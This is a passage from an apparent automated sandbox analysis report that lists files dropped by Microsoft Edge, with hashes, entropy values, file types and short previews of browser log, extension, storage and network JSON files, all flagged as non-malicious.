SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.128434756965101
Encrypted:	false
SSDEEP:	6:HU0q2PN723oH+Tcwt8aPrqIFUt8YUZzUZmw+YUZzUkwON723oH+Tcwt8amLJ:pvVaYebL3FUt8M/+s5OaYebQJ
MD5:	E3CA29F977601A14D33B7CB6B4B555EA
SHA1:	4677BEC25BB566C335D5BAFBEF36D09E3608B3B4
SHA-256:	4FF697EBE4ADE8C39C6B12A8317F63F744E9214AF332C4A238B9B2561B8C46EE
SHA-512:	9BBFA1F2E38FB7E7F762F0488F7AFD036912F5F60B6E661A7A69A097B7CE56004C97032165FED21B6170F66ADDF158C0CEDCE410F39BBB2BDB538EF28D2CD44B
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.337 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/18-19:01:34.347 1e80 Recovering log #3.2024/11/18-19:01:34.347 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.128434756965101
Encrypted:	false
SSDEEP:	6:HU0q2PN723oH+Tcwt8aPrqIFUt8YUZzUZmw+YUZzUkwON723oH+Tcwt8amLJ:pvVaYebL3FUt8M/+s5OaYebQJ
MD5:	E3CA29F977601A14D33B7CB6B4B555EA
SHA1:	4677BEC25BB566C335D5BAFBEF36D09E3608B3B4
SHA-256:	4FF697EBE4ADE8C39C6B12A8317F63F744E9214AF332C4A238B9B2561B8C46EE
SHA-512:	9BBFA1F2E38FB7E7F762F0488F7AFD036912F5F60B6E661A7A69A097B7CE56004C97032165FED21B6170F66ADDF158C0CEDCE410F39BBB2BDB538EF28D2CD44B
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.337 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/18-19:01:34.347 1e80 Recovering log #3.2024/11/18-19:01:34.347 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.127601677026532
Encrypted:	false
SSDEEP:	6:HUTq2PN723oH+Tcwt865IFUt8YU/ZZmw+YU/zkwON723oH+Tcwt86+ULJ:2vVaYeb/WFUt8tZ/+tz5OaYeb/+SJ
MD5:	4F27E18D0A54845395A2E96CFE0885E4
SHA1:	E6562AC399E1433E2CDF71E1E6BE8195B92D603A
SHA-256:	ABBBDE90D56AE9EC7794CE5D4E6A4AA67CBAAD34FA189DDEE76768A0E60A8A88
SHA-512:	7E55BF049C888CA3E03AA190B8887B2F689FE627E46C9D535B70D43DEE1D6F8D630C0107F0D956DB17A92B19DFFC27B22BD61ADC39005C6BE830EC7C908C36D1
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.350 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/18-19:01:34.351 1e80 Recovering log #3.2024/11/18-19:01:34.351 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.127601677026532
Encrypted:	false
SSDEEP:	6:HUTq2PN723oH+Tcwt865IFUt8YU/ZZmw+YU/zkwON723oH+Tcwt86+ULJ:2vVaYeb/WFUt8tZ/+tz5OaYeb/+SJ
MD5:	4F27E18D0A54845395A2E96CFE0885E4
SHA1:	E6562AC399E1433E2CDF71E1E6BE8195B92D603A
SHA-256:	ABBBDE90D56AE9EC7794CE5D4E6A4AA67CBAAD34FA189DDEE76768A0E60A8A88
SHA-512:	7E55BF049C888CA3E03AA190B8887B2F689FE627E46C9D535B70D43DEE1D6F8D630C0107F0D956DB17A92B19DFFC27B22BD61ADC39005C6BE830EC7C908C36D1
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.350 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/18-19:01:34.351 1e80 Recovering log #3.2024/11/18-19:01:34.351 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153652070603789
Encrypted:	false
SSDEEP:	6:HUTvG3+q2PN723oH+Tcwt8NIFUt8YUTOSmWZmw+YUTOSNVkwON723oH+Tcwt8+ed:wG3+vVaYebpFUt8gXW/+giV5OaYebqJ
MD5:	16740C482813EEEEFB274C50DA5FF9F2
SHA1:	FD2A143B0BEF580E342D99DB1CAE8C1DD1A659BF
SHA-256:	C76601392943F17CA4C168D4878AB81C18E48605A38190851E0718CB20EBA031
SHA-512:	AC01A90D632972D434D65CB6717D6EC683203CFFC002774B263437C78415FFB110835855821FBD038F58492092700C70B6827C25526DFB323E4ADDF9E7A425C8
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:35.062 1dcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/18-19:01:35.063 1dcc Recovering log #3.2024/11/18-19:01:35.063 1dcc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.153652070603789
Encrypted:	false
SSDEEP:	6:HUTvG3+q2PN723oH+Tcwt8NIFUt8YUTOSmWZmw+YUTOSNVkwON723oH+Tcwt8+ed:wG3+vVaYebpFUt8gXW/+giV5OaYebqJ
MD5:	16740C482813EEEEFB274C50DA5FF9F2
SHA1:	FD2A143B0BEF580E342D99DB1CAE8C1DD1A659BF
SHA-256:	C76601392943F17CA4C168D4878AB81C18E48605A38190851E0718CB20EBA031
SHA-512:	AC01A90D632972D434D65CB6717D6EC683203CFFC002774B263437C78415FFB110835855821FBD038F58492092700C70B6827C25526DFB323E4ADDF9E7A425C8
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:35.062 1dcc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/18-19:01:35.063 1dcc Recovering log #3.2024/11/18-19:01:35.063 1dcc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Reputation:	unknown
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:entFlljq7A/mhWJFuQ3yy7IOWUqcY/+/dweytllrE9SFcTp4AGbNCV9RUIKYn:b75fO4cY/+/d0Xi99pEY9n
MD5:	5D3365B41D08E4580724067CE1D548EF
SHA1:	77D109344363ACFAFE6F32319F1316243CE6E791
SHA-256:	2FC5E2B72B7296E4F2681DF8FDA89ECB139B1BD79626452227CF8928FC74D25B
SHA-512:	F7AF595F65CD7E898362A1C09CBEDCA732A650A8C5E1CD3BCD9B3FB2D99ECA62645841308BD2E8D8A09145FA90BAE89D6A201410122CA318D0BF9DB77739FDED
Malicious:	false
Reputation:	unknown
Preview:	.............=.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647727433259501
Encrypted:	false
SSDEEP:	384:aj9P0SQkQerkjl5gam6I/c3773pLERKToaADP/KbtEhf:adZe2ml8037SRKcnP/99
MD5:	48B58E2D9F7A8EA0FA8DE8057867DAEF
SHA1:	161410FF748481CFC9C990C671A3FF886C5FF99C
SHA-256:	5A929C429529F0F35E7F6CE1DC4BBCA25DA53E662331FAA1BA92B87B04808B88
SHA-512:	51B9F554AEDD750A15B5B325BA7A625948CDA0AB9491376EBA72B10EC3B72C23EA095818B28E5E2B20B7001EA83B564203B0C4B53E12A031F737671718F8114E
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.2243586131521305
Encrypted:	false
SSDEEP:	12:lvVaYeb8rcHEZrELFUt8z/+45OaYeb8rcHEZrEZSJ:pVaYeb8nZrExg8vOaYeb8nZrEZe
MD5:	56ADA82E03FE873F57716B024B100CE8
SHA1:	A94BF37DF87F34332529E6182E63A4B9483FB0CC
SHA-256:	848EE16E74DB3D9C7E5930974BA1E4694B83FCD7C4A05BC9FD4B0FC17440FD3A
SHA-512:	F02E7429D16690E3B9675B70A2F3AB19BAB9C693C9A09D01085C2AAB9D5CC68931AF2379D592170A959CA7DF5F9FE27314D213E5B52F37A2F22E921564DD76C9
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:38.822 12d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/18-19:01:38.822 12d8 Recovering log #3.2024/11/18-19:01:38.823 12d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.2243586131521305
Encrypted:	false
SSDEEP:	12:lvVaYeb8rcHEZrELFUt8z/+45OaYeb8rcHEZrEZSJ:pVaYeb8nZrExg8vOaYeb8nZrEZe
MD5:	56ADA82E03FE873F57716B024B100CE8
SHA1:	A94BF37DF87F34332529E6182E63A4B9483FB0CC
SHA-256:	848EE16E74DB3D9C7E5930974BA1E4694B83FCD7C4A05BC9FD4B0FC17440FD3A
SHA-512:	F02E7429D16690E3B9675B70A2F3AB19BAB9C693C9A09D01085C2AAB9D5CC68931AF2379D592170A959CA7DF5F9FE27314D213E5B52F37A2F22E921564DD76C9
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:38.822 12d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/18-19:01:38.822 12d8 Recovering log #3.2024/11/18-19:01:38.823 12d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1468
Entropy (8bit):	5.67743973388004
Encrypted:	false
SSDEEP:	24:DZWxK7ZOvXvtGwO2g9XZOWNV0374/v1dMyR5WXmWslHDlgZu3N2gFHHmx2ztPFR1:DZ9OvCXZtNV0374/0yR5XWGeu3fHHQ2X
MD5:	20166F6D4ED3C823ABEA9E44436EA157
SHA1:	4A769711C1C9104B4AB11BDAC2D1227FA5E3B9AB
SHA-256:	84A6045A84ACDB1E5786F44F1594677793C01557BD71B041EBAADBDE37B5CE2D
SHA-512:	ED96DD6AC04F20D521DBD34B0846EC49E71434CCAABBC2F85306D54D2ACD8168AC0D2140E478C854DB28B255B8BD0EB85B528CBFB0C2C7D358DCAC95CC53D115
Malicious:	false
Reputation:	unknown
Preview:	...:.................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1731974503440.._https://ntp.msn.com..MUID!.36BE74FC8FDA6170211861C08E2B60EF.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731974503513,"schedule":[-1,-1,-1,35,27,33,-1],"scheduleFixed":[-1,-1,-1,35,27,33,-1],"simpleSchedule":[40,27,26,50,47,28,34]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731974503400.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241118.317"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Mon Nov 18 2024 19:01:43 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest#....................META:https://ntp.msn.com.............._https://ntp.msn.com

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.144801408190738
Encrypted:	false
SSDEEP:	6:HUTsAq2PN723oH+Tcwt8a2jMGIFUt8YUTUnMZmw+YUTUWbPzkwON723oH+Tcwt8N:0vVaYeb8EFUt8KM/+KWrz5OaYeb8bJ
MD5:	FE8D59A5DAFD76BBF1E6CCA59038358D
SHA1:	73A6DBC24E186D7E18CD71A72736EC430ACF8EFE
SHA-256:	5BCA2833D21584495E007E64DE6055201A9B46A0987FC17ECDB0F9D9AEF357BB
SHA-512:	F5F7F2E4F56BD66F73FA53F7B4AE82D59B3B56F97D4E06A8C7FF0A63B6A1C1F29587116EA3262BB776FED977ED113FBA82C5EE2D81ADEE0C9457B7B6240E2E2A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:35.087 1cb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/18-19:01:35.123 1cb0 Recovering log #3.2024/11/18-19:01:35.134 1cb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.144801408190738
Encrypted:	false
SSDEEP:	6:HUTsAq2PN723oH+Tcwt8a2jMGIFUt8YUTUnMZmw+YUTUWbPzkwON723oH+Tcwt8N:0vVaYeb8EFUt8KM/+KWrz5OaYeb8bJ
MD5:	FE8D59A5DAFD76BBF1E6CCA59038358D
SHA1:	73A6DBC24E186D7E18CD71A72736EC430ACF8EFE
SHA-256:	5BCA2833D21584495E007E64DE6055201A9B46A0987FC17ECDB0F9D9AEF357BB
SHA-512:	F5F7F2E4F56BD66F73FA53F7B4AE82D59B3B56F97D4E06A8C7FF0A63B6A1C1F29587116EA3262BB776FED977ED113FBA82C5EE2D81ADEE0C9457B7B6240E2E2A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:35.087 1cb0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/18-19:01:35.123 1cb0 Recovering log #3.2024/11/18-19:01:35.134 1cb0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1a25d0e3-c69c-42d6-a308-8acf22d38140.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\21934d88-09c0-471e-a3c5-4173ee4795ad.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3037ca84-6f18-40e7-bca8-a884a1ac40eb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\37541f34-609f-4f1f-99bb-ee34e821d3b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\61de0c70-8bf7-4eb1-b62c-d8a6949f7aae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\7edde26c-3e4b-412a-b26c-c7f1fdda0a6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
